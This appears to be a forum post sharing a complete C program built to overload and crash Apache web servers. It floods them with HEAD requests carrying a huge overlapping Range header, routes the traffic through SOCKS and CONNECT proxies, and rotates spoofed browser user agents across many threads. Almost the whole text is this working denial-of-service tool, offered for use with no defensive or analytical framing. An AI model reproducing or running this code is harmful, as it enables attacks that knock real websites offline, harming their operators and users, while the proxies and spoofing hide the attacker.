What this script does is cause the target's apache server to overload/crash. It uses proxy's to send requests to the target. Also it spoofs the user agents to one's that will look like normal traffic. It uses multiple threads to send a lot of packets simultaneously. This script is coded in C. Sorry I couldn't provide a deeper explanation for this, but I really never got interested in this attack since I thought it was really straight forward on what it does.
Code:
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/resource.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <ctype.h>
#include <arpa/inet.h>
#define RND_CHAR (char)((rand() % 26)+97)
char *useragents[] = {
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
};
#define ATTACKPORT 80
char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n";
char *postpayload;
struct urlparts {
char * name;
char separator[4];
char value[128];
} parts[] = {
{ "scheme", ":" },
{ "userid", "@" },
{ "password", ":" },
{ "host", "//" },
{ "port", ":" },
{ "path", "/" },
{ "param", ";" },
/*{ "query", "?" },*/
{ "fragment", "#" }
};
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
struct urlparts *returnparts[8];
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
struct proxy { char *type; char *ip; int port; int working; };
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
struct list *head = NULL;
char parseError[128];
int parseURL(char *url, struct urlparts **returnpart);
char * strsplit(char * s, char * tok);
char firstpunc(char *s);
int strleft(char * s, int n);
void setupparts();
void freeparts();
char *stristr(const char *String, const char *Pattern);
char *str_replace(char *orig, char *rep, char *with);
char *geturl(char *url, char *useragent, char *ip);
char *ipstr;
static int rps = 0;
char *fznGenerateRange()
{
char *szBytes = malloc(12000);
memset(szBytes, 0, 12000);
strcpy(szBytes, "0-");
char szAdd[12];
int i;
for (i = 0; i <= 1299; i++)
{
sprintf(szAdd, ",5-%d", i);
strcat(szBytes, szAdd);
bzero(szAdd, 12);
}
return szBytes;
}
void *flood(void *par) {
struct list *startpoint = (struct list *)par;
int i;
struct sockaddr_in serverAddr;
signal(SIGPIPE, SIG_IGN);
while(1)
{
int sent = 0;
if(startpoint->data->working == 0)
{
startpoint = startpoint->next;
usleep(10000);
continue;
}
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(startpoint->data->port);
serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
u_int yes=1;
if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
{
startpoint->data->working = 0;
startpoint = startpoint->next;
continue;
}
if(strcmp(startpoint->data->type, "Socks4")==0)
{
unsigned char buf[10];
buf[0] = 0x04;
buf[1] = 0x01;
*(unsigned short*)&buf[2] = htons(ATTACKPORT);
*(unsigned long*)&buf[4] = inet_addr(ipstr);
buf[8] = 0x00;
if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
{
startpoint->data->working = 0;
startpoint = startpoint->next;
close(serverSocket);
continue;
}
}
if(strcmp(startpoint->data->type, "Socks5")==0)
{
unsigned char buf[20];
buf[0] = 0x05;
buf[1] = 0x01;
buf[2] = 0x00;
if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
{
startpoint->data->working = 0;
startpoint = startpoint->next;
close(serverSocket);
continue;
}
buf[0] = 0x05;
buf[1] = 0x01;
buf[2] = 0x00;
buf[3] = 0x01;
*(unsigned long*)&buf[4] = inet_addr(ipstr);
*(unsigned short*)&buf[8] = htons(ATTACKPORT);
if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
{
startpoint->data->working = 0;
startpoint = startpoint->next;
close(serverSocket);
continue;
}
}
if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
{
char *connectrequest = malloc(1024);
bzero(connectrequest, 1024);
sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
{
startpoint->data->working = 0;
startpoint = startpoint->next;
close(serverSocket);
continue;
}
char *recvbuf = malloc(1024);
bzero(recvbuf, 1024);
int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
if(gotbytes < 1)
{
startpoint->data->working = 0;
startpoint = startpoint->next;
close(serverSocket);
continue;
}
free(recvbuf);
}
send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL);
close(serverSocket);
rps++;
usleep(50000);
startpoint = startpoint->next;
}
}
int main(int argc, char *argv[ ]) {
if(argc < 4){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
exit(-1);
}
int num_threads = atoi(argv[2]);
FILE *pFile = fopen(argv[3], "rb");
if(pFile==NULL)
{
perror("fopen"); exit(1);
}
fseek(pFile, 0, SEEK_END);
long lSize = ftell(pFile);
rewind(pFile);
char *buffer = (char *)malloc(lSize*sizeof(char));
fread(buffer, 1, lSize, pFile);
fclose (pFile);
int i=0;
char *pch = (char *)strtok(buffer, ":");
while(pch != NULL)
{
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(head, sizeof(struct list));
head->data = (struct proxy *)malloc(sizeof(struct proxy));
bzero(head->data, sizeof(struct proxy));
head->data->working = 1;
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
pch = (char *)strtok(NULL, ":");
if(pch == NULL) exit(-1);
head->data->port = atoi(pch);
pch = (char *)strtok(NULL, ":");
head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
pch = (char *)strtok(NULL, ":");
head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
head->next = head;
head->prev = head;
} else {
struct list *new_node = (struct list *)malloc(sizeof(struct list));
bzero(new_node, sizeof(struct list));
new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
bzero(new_node->data, sizeof(struct proxy));
new_node->data->working = 1;
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
pch = (char *)strtok(NULL, ":");
if(pch == NULL) break;
new_node->data->port = atoi(pch);
pch = (char *)strtok(NULL, ":");
new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
pch = (char *)strtok(NULL, ":");
new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
new_node->prev = head;
new_node->next = head->next;
head->next = new_node;
}
}
free(buffer);
const rlim_t kOpenFD = 1024 + (num_threads * 2);
struct rlimit rl;
int result;
rl.rlim_cur = kOpenFD;
rl.rlim_max = kOpenFD;
result = setrlimit(RLIMIT_NOFILE, &rl);
if (result != 0)
{
perror("setrlimit");
fprintf(stderr, "setrlimit returned result = %d\n", result);
}
bzero(&rl, sizeof(struct rlimit));
rl.rlim_cur = 256 * 1024;
rl.rlim_max = 4096 * 1024;
result = setrlimit(RLIMIT_STACK, &rl);
if (result != 0)
{
perror("setrlimit_stack");
fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
}
setupparts();
parseURL(argv[1], returnparts);
if(argc > 4)
{
ipstr = malloc(strlen(argv[5])+1);
bzero(ipstr, strlen(argv[5])+1);
strcpy(ipstr, argv[5]);
} else {
struct hostent *he;
struct in_addr a;
he = gethostbyname(returnparts[host]->value);
if (he)
{
while (*he->h_addr_list)
{
bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
ipstr = malloc(INET_ADDRSTRLEN+1);
inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
break;
}
}
else
{ herror("gethostbyname"); }
}
char *postdata = malloc(1);
bzero(postdata, 1);
char *extrahead = malloc(1);
bzero(extrahead, 1);
pthread_t thread[num_threads];
postpayload = malloc(12001);
sprintf(postpayload, postformat, returnparts[host]->value, useragents[rand() % (sizeof(useragents)/sizeof(char *))], fznGenerateRange());
freeparts();
for(i = 0;i<num_threads;i++){
pthread_create(&thread[i], NULL, &flood, (void *)head);
pthread_detach(thread[i]);
head = head->next;
}
int temp = atoi(argv[4]);
for(i = 0;i<temp;i++)
{
//rps=0;
sleep(1);
//printf("R/s: %d\n", rps);
}
return 0;
}
void freeparts()
{
return;
if(returnparts[0]!=NULL) { free(returnparts[0]); }
if(returnparts[1]!=NULL) { free(returnparts[1]); }
if(returnparts[2]!=NULL) { free(returnparts[2]); }
if(returnparts[3]!=NULL) { free(returnparts[3]); }
if(returnparts[4]!=NULL) { free(returnparts[4]); }
if(returnparts[5]!=NULL) { free(returnparts[5]); }
if(returnparts[6]!=NULL) { free(returnparts[6]); }
if(returnparts[7]!=NULL) { free(returnparts[7]); }
return;
}
void setupparts()
{
returnparts[0] = malloc(sizeof(struct urlparts));
returnparts[1] = malloc(sizeof(struct urlparts));
returnparts[2] = malloc(sizeof(struct urlparts));
returnparts[3] = malloc(sizeof(struct urlparts));
returnparts[4] = malloc(sizeof(struct urlparts));
returnparts[5] = malloc(sizeof(struct urlparts));
returnparts[6] = malloc(sizeof(struct urlparts));
returnparts[7] = malloc(sizeof(struct urlparts));
bzero(returnparts[0], sizeof(struct urlparts));
bzero(returnparts[1], sizeof(struct urlparts));
bzero(returnparts[2], sizeof(struct urlparts));
bzero(returnparts[3], sizeof(struct urlparts));
bzero(returnparts[4], sizeof(struct urlparts));
bzero(returnparts[5], sizeof(struct urlparts));
bzero(returnparts[6], sizeof(struct urlparts));
bzero(returnparts[7], sizeof(struct urlparts));
returnparts[0]->name = "scheme";
strcpy(returnparts[0]->separator, ":");
returnparts[1]->name = "userid";
strcpy(returnparts[1]->separator, "@");
returnparts[2]->name = "password";
strcpy(returnparts[2]->separator, ":");
returnparts[3]->name = "host";
strcpy(returnparts[3]->separator, "//");
returnparts[4]->name = "port";
strcpy(returnparts[4]->separator, ":");
returnparts[5]->name = "path";
strcpy(returnparts[5]->separator, "/");
returnparts[6]->name = "param";
strcpy(returnparts[6]->separator, ";");
/*returnparts[7]->name = "query";
strcpy(returnparts[7]->separator, "?");*/
returnparts[7]->name = "fragment";
strcpy(returnparts[7]->separator, "#");
return;
}
int parseURL(char *url, struct urlparts **returnpart) {
register i;
int seplen;
char * remainder;
char * regall = ":/;#";
char * regpath = ":;#";
char * regx;
if(!*url)
{
strcpy(parseError, "nothing to do!\n");
return 0;
}
if((remainder = malloc(strlen(url) + 1)) == NULL)
{
printf("cannot allocate memory\n");
exit(-1);
}
strcpy(remainder, url);
if(firstpunc(remainder) == ':')
{
strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
strleft(remainder, 1);
}
if (!strcmp(returnpart[scheme]->value, "mailto"))
*(returnpart[host]->separator) = 0;
for(i = 0; i < NUMPARTS; i++)
{
if(!*remainder)
break;
if(i == scheme || i == userid || i == password)
continue;
if(i == host && strchr(remainder, '@'))
{
if(!strncmp(remainder, "//", 2))
strleft(remainder, 2);
strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
strleft(remainder, 1);
if(strchr(remainder, '@'))
{
strcpy(returnpart[password]->value, strsplit(remainder, "@"));
strleft(remainder, 1);
}
*(returnpart[host]->separator) = 0;
}
if(i == path && (! *(returnpart[scheme]->value)))
{
*(returnpart[path]->separator) = 0;
strcpy(returnpart[scheme]->value, "http");
}
regx = (i == path) ? regpath : regall ;
seplen = strlen(returnpart[i]->separator);
if(strncmp(remainder, returnpart[i]->separator, seplen))
continue;
else
strleft(remainder, seplen);
strcpy(returnpart[i]->value, strsplit(remainder, regx));
}
if(*remainder)
sprintf(parseError, "I don't understand '%s'", remainder);
free(remainder);
return 0;
}
char *str_replace(char *orig, char *rep, char *with) {
char *result;
char *ins;
char *tmp;
int len_rep;
int len_with;
int len_front;
int count;
if (!orig)
return NULL;
if (!rep || !(len_rep = strlen(rep)))
return NULL;
if (!(ins = strstr(orig, rep)))
return NULL;
if (!with)
with = "";
len_with = strlen(with);
for (count = 0; tmp = strstr(ins, rep); ++count) {
ins = tmp + len_rep;
}
tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
if (!result)
return NULL;
while (count--) {
ins = strstr(orig, rep);
len_front = ins - orig;
tmp = strncpy(tmp, orig, len_front) + len_front;
tmp = strcpy(tmp, with) + len_with;
orig += len_front + len_rep;
}
strcpy(tmp, orig);
return result;
}
char *stristr(const char *String, const char *Pattern)
{
char *pptr, *sptr, *start;
uint slen, plen;
for (start = (char *)String,
pptr = (char *)Pattern,
slen = strlen(String),
plen = strlen(Pattern);
slen >= plen;
start++, slen--)
{
while (toupper(*start) != toupper(*Pattern))
{
start++;
slen--;
if (slen < plen)
return(NULL);
}
sptr = start;
pptr = (char *)Pattern;
while (toupper(*sptr) == toupper(*pptr))
{
sptr++;
pptr++;
if ('\0' == *pptr)
return (start);
}
}
return(NULL);
}
char * strsplit(char * s, char * tok) {
#define OUTLEN (255)
register i, j;
static char out[OUTLEN + 1];
for(i = 0; s[i] && i < OUTLEN; i++)
{
if(strchr(tok, s[i]))
break;
else
out[i] = s[i];
}
out[i] = 0;
if(i && s[i])
{
for(j = 0; s[i]; i++, j++) s[j] = s[i];
s[j] = 0;
}
else if (!s[i])
*s = 0;
return out;
}
char firstpunc(char * s) {
while(*s++)
if(!isalnum(*s)) return *s;
return 0;
}
int strleft(char * s, int n) {
int l;
l = strlen(s);
if(l < n)
return -1;
else if (l == n)
*s = 0;
memmove(s, s + n, l - n + 1);
return n;
}